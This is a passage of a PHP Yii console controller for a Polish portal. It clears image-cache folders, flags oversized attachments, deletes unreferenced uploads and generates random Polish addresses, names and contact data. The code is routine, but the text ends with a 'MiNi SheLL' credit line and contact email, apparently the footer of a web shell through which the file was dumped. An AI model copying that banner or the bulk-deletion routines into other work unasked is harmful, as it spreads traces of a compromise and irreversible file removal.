                        $subSubDir = new \DirectoryIterator($fileinfo_2->getRealPath());
                        foreach($subSubDir as $fileinfo_3) {
                            if($fileinfo_3->isDot() | !$fileinfo_3->isDir()) {
                                continue;
                            }
                            if($fileinfo_3->getBasename() === 'frame' || $fileinfo_3->getBasename() === 'crop') {
//                                fwrite($fp, $fileinfo_3->getRealPath()."\r\n");
                                $this->removeDir($fileinfo_3->getRealPath(), true);
                            }
                        }
                        unset($subSubDir, $fileinfo_3);
                    }
                }   
                unset($subDir, $fileinfo_2);
            }
        }
        unset($dir, $fileinfo_1);
        

        
        //\common\models\Companies
        //\common\models\CompaniesAwards
        //\common\models\CompaniesDownloads
        //\common\models\Products
        //\common\models\ProductsPhotos
        $dir = new \DirectoryIterator(Yii::getAlias('@companiesImagesRealPath'));
        foreach($dir as $fileinfo_1) {
            if(!$fileinfo_1->isDot() && $fileinfo_1->isDir()) {
                $subDir = new \DirectoryIterator($fileinfo_1->getRealPath());
                foreach($subDir as $fileinfo_2) {
                    if($fileinfo_2->isDot() | !$fileinfo_2->isDir()) {
                        continue;
                    }
                    if($fileinfo_2->getBasename() === 'frame' || $fileinfo_2->getBasename() === 'crop') {
//                        fwrite($fp, $fileinfo_2->getRealPath()."\r\n");
                        $this->removeDir($fileinfo_2->getRealPath(), true);
                    } elseif(in_array($fileinfo_2->getBasename(), [Yii::getAlias('@companiesAwardsDirName'), Yii::getAlias('@companiesDownloadsDirName')])) {
                        $subSubDir = new \DirectoryIterator($fileinfo_2->getRealPath());
                        foreach($subSubDir as $fileinfo_3) {
                            if($fileinfo_3->isDot() | !$fileinfo_3->isDir()) {
                                continue;
                            }
                            if($fileinfo_3->getBasename() === 'frame' || $fileinfo_3->getBasename() === 'crop') {
//                                fwrite($fp, $fileinfo_3->getRealPath()."\r\n");
                                $this->removeDir($fileinfo_3->getRealPath(), true);
                            }
                        }
                        unset($subSubDir, $fileinfo_3);
                    } elseif($fileinfo_2->getBasename() === Yii::getAlias('@companiesProductsDirName')) {
                        $subSubDir = new \DirectoryIterator($fileinfo_2->getRealPath());
                        foreach($subSubDir as $fileinfo_3) {
                            if($fileinfo_3->isDot() | !$fileinfo_3->isDir()) {
                                continue;
                            }
                            $subSubSubDir = new \DirectoryIterator($fileinfo_3->getRealPath());
                            foreach($subSubSubDir as $fileinfo_4) {
                                if($fileinfo_4->isDot() | !$fileinfo_4->isDir()) {
                                    continue;
                                }
                                if($fileinfo_4->getBasename() === 'frame' || $fileinfo_4->getBasename() === 'crop') {
//                                    fwrite($fp, $fileinfo_4->getRealPath()."\r\n");
                                    $this->removeDir($fileinfo_4->getRealPath(), true);
                                }
                            }
                            unset($subSubSubDir, $fileinfo_4);                            
                        }
                        unset($subSubDir, $fileinfo_3); 
                    }
                }   
                unset($subDir, $fileinfo_2);
            }
        }
        unset($dir, $fileinfo_1);
        
        $directories = [
            Yii::getAlias('@fairsSeriesImagesRealPath'), //FairsSeries
            Yii::getAlias('@partnersImagesRealPath'), //Partners
            Yii::getAlias('@publishingHousesImagesRealPath'), //PublishingHouses
        ];        
        foreach($directories as $directory) {
//            fwrite($fp, $directory.'/frame/'."\r\n");
//            fwrite($fp, $directory.'/crop/'."\r\n");
            $this->removeDir($directory.'/frame/', true);
            $this->removeDir($directory.'/crop/', true);
        }
        
//        fclose($fp);
    }
    
    public function actionRemoveLargeAttachments()
    {
        $tablesInfo = [
            ['advertisements_messages_attachments', 'id_attachment', 'id_message', '@advertisementsMessagesAttachmentsRealPath', false],
            ['articles_attachments', 'id_attachment', 'id_article', '@articlesAttachmentsRealPath', true],
            ['books_attachments', 'id_attachment', 'id_book', '@booksAttachmentsRealPath', true],
            ['books_subscriptions_attachments', 'id_attachment', 'id_subscription', '@booksSubscriptionsAttachmentsRealPath', true],
            ['companies_downloads', 'id_download', 'id_download', '@downloadsAttachmentsRealPath', true],
            ['fairs_attachments', 'id_attachment', 'id_fair', '@fairsAttachmentsRealPath', true],
            ['inquiries_attachments', 'id_attachment', 'id_inquiry', '@inquiriesAttachmentsRealPath', false], 
            ['products_attachments', 'id_attachment', 'id_product', '@productsAttachmentsRealPath', true],
            ['trainings_attachments', 'id_attachment', 'id_training', '@trainingsAttachmentsRealPath', true],
            ['websites_attachments', 'id_attachment', 'id_website', '@websitesAttachmentsRealPath', false]           
        ];
        
        foreach($tablesInfo as $tableInfo) {
            list($tableName, $primaryKeyFieldName, $parentKeyFieldName, $aliasRealPath, $orCheckIfFilenameIsEmpty) = $tableInfo;

            $attachments = Yii::$app->db->createCommand('SELECT '.$primaryKeyFieldName.', '.$parentKeyFieldName.', filename FROM '.$tableName.($orCheckIfFilenameIsEmpty ? ' WHERE filename IS NOT NULL' : ''))->queryAll();
            foreach($attachments as $attachment) {
                $path = Yii::getAlias($aliasRealPath).'/'.$attachment[$parentKeyFieldName].'/'.$attachment['filename'];
                if(!file_exists($path)) {
                    continue;
                }
                if(filesize($path) > $this->attachmentsSizeThreshold) {
                    $this->stdout('wykonujemy: '.'DELETE FROM '.$tableName.' WHERE '.$primaryKeyFieldName.' = '.intval($attachment[$primaryKeyFieldName])."\n");
//                    Yii::$app->db->createCommand('DELETE FROM '.$tableName.' WHERE '.$primaryKeyFieldName.' = '.intval($attachment[$primaryKeyFieldName]))->execute();
                    
                    $this->stdout('usuwamy: '.$path."\n");
//                    @unlink($path);
                }
            }
        }
    }
    
    public function actionRemoveUnusedSourceFiles()
    {   
        $source = [
            'articles' => ['lead', 'content'],
            'books' => ['description', 'table_of_contents'],
            'books_subscriptions' => ['description'],
            'companies_awards' => ['content'],
            'companies_complaints_terms' => ['complaint_procedure'],
            'companies_goods_returns_terms' => ['additional_informations'],
            'companies_presentations_pages' => ['lead', 'content'],
            'products' => ['lead', 'description'],
            'companies_about_sellers' => ['about_seller', 'others_informations'],
            'companies_warranties' => ['additional_informations'],
            'fairs' => ['content'],
            'fairs_series' => ['description'],
            'help_admin_panel' => ['content'],
            'mailings_contents' => ['html_code'],
            'partners' => ['content'],
            'portals_ads_info' => ['content'],
            'presentations_packages' => ['description'],
            'trainings' => ['content_target', 'content_leader', 'content_program', 'content_details', 'content_all'],
            'websites_translations' => ['header_content', 'footer_content'],
            'websites_items_translations' => ['lead', 'content'],
            'websites_pages_translations' => ['content'],
            'websites_templates' => ['description'],
            'websites_templates_modular_subpages' => ['description', 'schema_code'],
            'websites_widgets_translations' => ['content']
        ];
        
        $foundUrls = [];
        
        foreach($source as $table => $fields) {
            $rows = Yii::$app->db->createCommand('SELECT '.implode(', ', $fields).' FROM '.$table)->queryAll(); 
            foreach($rows as $row) {
                foreach($fields as $field) {
                    $matches = [];
                    preg_match_all('#\bhttps?://[^,\s()<>]+(?:\([\w\d]+\)|([^,[:punct:]\s]|/))#', $row[$field], $matches);
                    if(!empty($matches[0])) {
                        foreach($matches[0] as $url) {
                            if(parse_url($url, PHP_URL_HOST) === 'common.v-manager.pl' && strpos($url, '/uploads/source/') !== false) {
                                $foundUrls[$url] = $url;
                            }
                        }
                    }
                }
            }
        }
        
        $files = $this->getDirContents('C:\\xampp\\htdocs\\vmanager\\common\\web\\uploads\\source\\');

        foreach($files as $key => $fileName) {
            if(is_dir($fileName)) {
                unset($files[$key]);
                continue;
            }
            $url = str_replace(['C:\xampp\htdocs\vmanager\common\web', '\\'], ['https://common.v-manager.pl', '/'], $fileName);
            if(isset($foundUrls[$url])) {
                unset($files[$key]);
            }
        }
        
        $counter = 0;
        foreach($files as $filename) {
            //duży plik
            @unlink($filename);
            
            //miniaturka
            $thumb = str_replace('\\uploads\\source\\', '\\uploads\\thumbs\\', $filename);
            if(file_exists($thumb)) {
                @unlink($thumb);
            }
        }
    }
    
    protected function getDirContents($dir, &$results = []) {
        $files = scandir($dir);

        foreach ($files as $key => $value) {
            $path = realpath($dir . DIRECTORY_SEPARATOR . $value);
            if (!is_dir($path)) {
                $results[] = $path;
            } else if ($value != "." && $value != "..") {
                $this->getDirContents($path, $results);
                $results[] = $path;
            }
        }

        return $results;
    }

    protected function fillAddresses()
    {
        $regionsMap = [
            "dolnośląskie" => 1,
            "kujawsko-pomorskie" => 2,
            "lubelskie" => 3,
            "lubuskie" => 4,
            "łódzkie" => 5,
            "małopolskie" => 6,
            "mazowieckie" => 7,
            "opolskie" => 8,
            "podkarpackie" => 9,
            "podlaskie" => 10,
            "pomorskie" => 11,
            "śląskie" => 12,
            "świętokrzyskie" => 13,
            "warmińsko-mazurskie" => 14,
            "wielkopolskie" => 15,
            "zachodniopomorskie" => 16
        ];
        
        $this->addresses = [];
        
        $rows = Yii::$app->db->createCommand('SELECT * FROM geo_pna')->queryAll(); 
        foreach($rows as $row) {
            $address = [                
                'street' => !empty($row['street']) ? $row['street'] : $row['locality'],
                'building_number' => rand(1, 200),
                'apartment_number' => rand(1, 50),
                'locality' => $row['locality'],
                'postcode' => $row['postcode'],
                'id_region' => isset($regionsMap[$row['region']]) ? $regionsMap[$row['region']] : 1,
                'region' => $row['region'],
                'lat' => $row['lat'],
                'lng' => $row['lng']
            ];
            
            if(mb_strlen($address['street']) > 60) {
                $address['street'] = mb_substr($address['street'], 0, 60);
            } 
            
            $this->addresses[] = $address;
        }
    }
    
    protected function fillPersons()
    {
        $this->persons = [
            ['Andrzej', 'Nowak'],
            ['Łucja', 'Nowak'],
            ['Zofia', 'Kowalska'],
            ['Jan', 'Kowalski'],
            ['Katarzyna', 'Wiśniewska'],
            ['Michał', 'Wiśniewski'],
            ['Roman', 'Wójcik'],
            ['Aneta', 'Kowalczyk'],
            ['Renata', 'Kamińska'],
            ['Stefan', 'Kamiński'],
            ['Marta', 'Lewandowska'],
            ['Grzegorz', 'Lewandowski'],
            ['Stefania', 'Zielińska'],
            ['Antoni', 'Zieliński'],
            ['Agata', 'Szymańska'],
            ['Piotr', 'Szymański'],
            ['Michał', 'Woźniak'],
            ['Karolina', 'Woźniak'],
            ['Anna', 'Dąbrowska'],
            ['Marcin', 'Dąbrowski'],
            ['Teresa', 'Kozłowska'],
            ['Przemysław', 'Kozłowski'],
            ['Magdalena', 'Jankowska'],
            ['Lech', 'Jankowski'],
            ['Mirosława', 'Wojciechowska'],
            ['Adam', 'Wojciechowski'],
            ['Kamila', 'Kwiatkowska'],
            ['Seweryn', 'Kwiatkowski'],
            ['Weronika', 'Mazur'],
            ['Karol', 'Mazur'],
            ['Jakub', 'Krawczyk'],
            ['Zenon', 'Kaczmarek'],
            ['Zofia', 'Kaczmarek'],
            ['Andżelika', 'Piotrowska'],
            ['Łukasz', 'Piotrowski'],
            ['Renata', 'Grabowska'],
            ['Wojciech', 'Grabowski'],
            ['Izabela', 'Pawłowska'],
            ['Katarzyna', 'Michalska'],
            ['Agnieszka', 'Zając'],
            ['Marek', 'Zając'],
            ['Dawid', 'Król'],
            ['Monika', 'Król'],
            ['Jadwiga', 'Jabłońska'],
            ['Sandra', 'Wieczorek'],
            ['Agnieszka', 'Nowakowska'],
            ['Włodzimierz', 'Nowakowski'],
            ['Natalia', 'Wróbel'],
            ['Henryk', 'Wróbek'],
            ['Krzysztofa', 'Majewska'],
            ['Krzysztof', 'Majewski'],
            ['Dominika', 'Stępień'],
            ['Cezary', 'Stępień'],
            ['Patrycja', 'Olszewska'],
            ['Dominik', 'Olszewski'],
            ['Małgorzata', 'Jaworska'],
            ['Jakub', 'Malinowski'],
            ['Aleksander', 'Adamczyk'],
            ['Aleksanda', 'Górska'],
            ['Rafał', 'Nowicki'],
            ['Andrzej', 'Pawlak'],
            ['Maja', 'Dudek'],
            ['Paulina', 'Witkowska'],
            ['Patryk', 'Walczak'],
            ['Agata', 'Rutkowska'],
            ['Tomasz', 'Sikora'],
            ['Konrad', 'Michalak'],
            ['Maciej', 'Szewczyk'],
            ['Agnieszka', 'Ostrowska'],
            ['Mariusz', 'Baran'],
            ['Zuzanna', 'Tomaszewska'],
            ['Mariusz', 'Pietrzak'],
            ['Adam', 'Wróblewski'],
            ['Daniela', 'Wróblewska']
        ];
        
        
    }
    
    protected function getRandomAddress()
    {
        $key = array_rand($this->addresses);
        
        return $this->addresses[$key];
    }
    
    protected function getRandomPerson()
    {
        $key = array_rand($this->persons);
        
        return $this->persons[$key];
    }
    
    protected function getRandomEmail($length = 15)
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
        $charactersLength = strlen($characters);
        $output = '';
        
        for($i = 0; $i < $length; $i++) {
            $output .= $characters[rand(0, $charactersLength - 1)];
        }
        
        $output .= '@';
        
        for($i = 0; $i < 5; $i++) {
            $output .= $characters[rand(0, $charactersLength - 1)];
        }
        
        $output .= '.com';
        
        return $output;
    }
    
    protected function getRandomString($length = 15)
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyz';
        $charactersLength = strlen($characters);
        $output = '';
        
        for($i = 0; $i < $length; $i++) {
            $output .= $characters[rand(0, $charactersLength - 1)];
        }
        
        return $output;
    }
    
    protected function getRandomValueForContactDataType($type)
    {
        switch($type) {
            case ContactDataType::EMAIL:
            case ContactDataType::HANGOUTS:
            case ContactDataType::WINDOWS_LIVE:
                $dataValue = $this->getRandomEmail(rand(10, 20));
                break;
            case ContactDataType::MOBILE_PHONE;
            case ContactDataType::PHONE;
            case ContactDataType::FAX;
                $dataValue = rand(100000000, 999999999);
                break;
            case ContactDataType::COMMUNICATOR_OTHER:
            case ContactDataType::QQ:
            case ContactDataType::ICQ:
            case ContactDataType::AIM:
            case ContactDataType::JABBER:
            case ContactDataType::SKYPE:
                $dataValue = $this->getRandomString(rand(8, 15));
                break;
            case ContactDataType::FACEBOOK;
            case ContactDataType::TWITTER;
            case ContactDataType::YOUTUBE;
            case ContactDataType::WWW;
            case ContactDataType::GOOGLE_PLUS;
                $dataValue = 'http://'.$this->getRandomString(rand(8, 15)).'.com';
                break;
            case ContactDataType::TLEN:
                $dataValue = $this->getRandomString(rand(8, 15)).'@tlen.pl';
                break;
            case ContactDataType::GG:
                $dataValue = rand(1000000, PHP_INT_MAX < 9999999999 ? PHP_INT_MAX : 9999999999);
                break;
            default: 
                $dataValue = rand(1000000, 9999999);
                break;
        }
        
        return $dataValue;
    }
    
    protected function getIdsArray($ids, $asInt = true)
    {
        $output = [];
        
        if(empty($ids)) {
            return $output;
        }
        
        if($asInt) {
            foreach($ids as $id) {
                $output[(int)$id] = (int)$id;
            }
        } else {
            foreach($ids as $id) {
                $output[(string)$id] = (string)$id;
            }
        }
        
        return $output;
    }
    
    protected function clearImportMapCollection($collectionName, $dbCommand, $idAsInt = true)
    {
        $documents = (new \yii\mongodb\Query())->from($collectionName)->select(['_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {            
            $ids = $this->getIdsArray($dbCommand->queryColumn(), $idAsInt); 
            foreach($documents as $document) {
                $id = $idAsInt ? (int)$document['target_id'] : (string)$document['target_id'];
                if(!isset($ids[$id])) {
                    Yii::$app->mongodb->getCollection($collectionName)->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
    }
    
    protected function removeDir($path, $skipIfNotExists = false) 
    {
        if($this->debugMode) {
            return;
        }
        
        if($skipIfNotExists === true && !file_exists($path)) {
            return;
        }
        
        $dir = new \DirectoryIterator($path);
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() || $fileinfo->isLink()) {
                @unlink($fileinfo->getPathName());
            } 
            elseif(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $this->removeDir($fileinfo->getPathName());
            }
        }
        unset($dir, $fileinfo);
        rmdir($path);
    }
    
    protected function deleteVariants($mainFile, $acceptedImageSizes)
    {
        list($dirname, $basename, $extension, $filename) = array_values(pathinfo($mainFile));
        $sizes = array_unique(array_merge(\common\components\helpers\Image2::getAcceptedSizes(), $acceptedImageSizes));
        $transformations = \common\components\helpers\Image2::getAcceptedTransformations();
        foreach($sizes as $size) {
            foreach($transformations as $transformation) {
                $targetFile = realpath($dirname).'/'.$transformation.'/'.$size.'/'.$basename;
                if(file_exists($targetFile)) {
                    @unlink($targetFile);
                }
            }
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com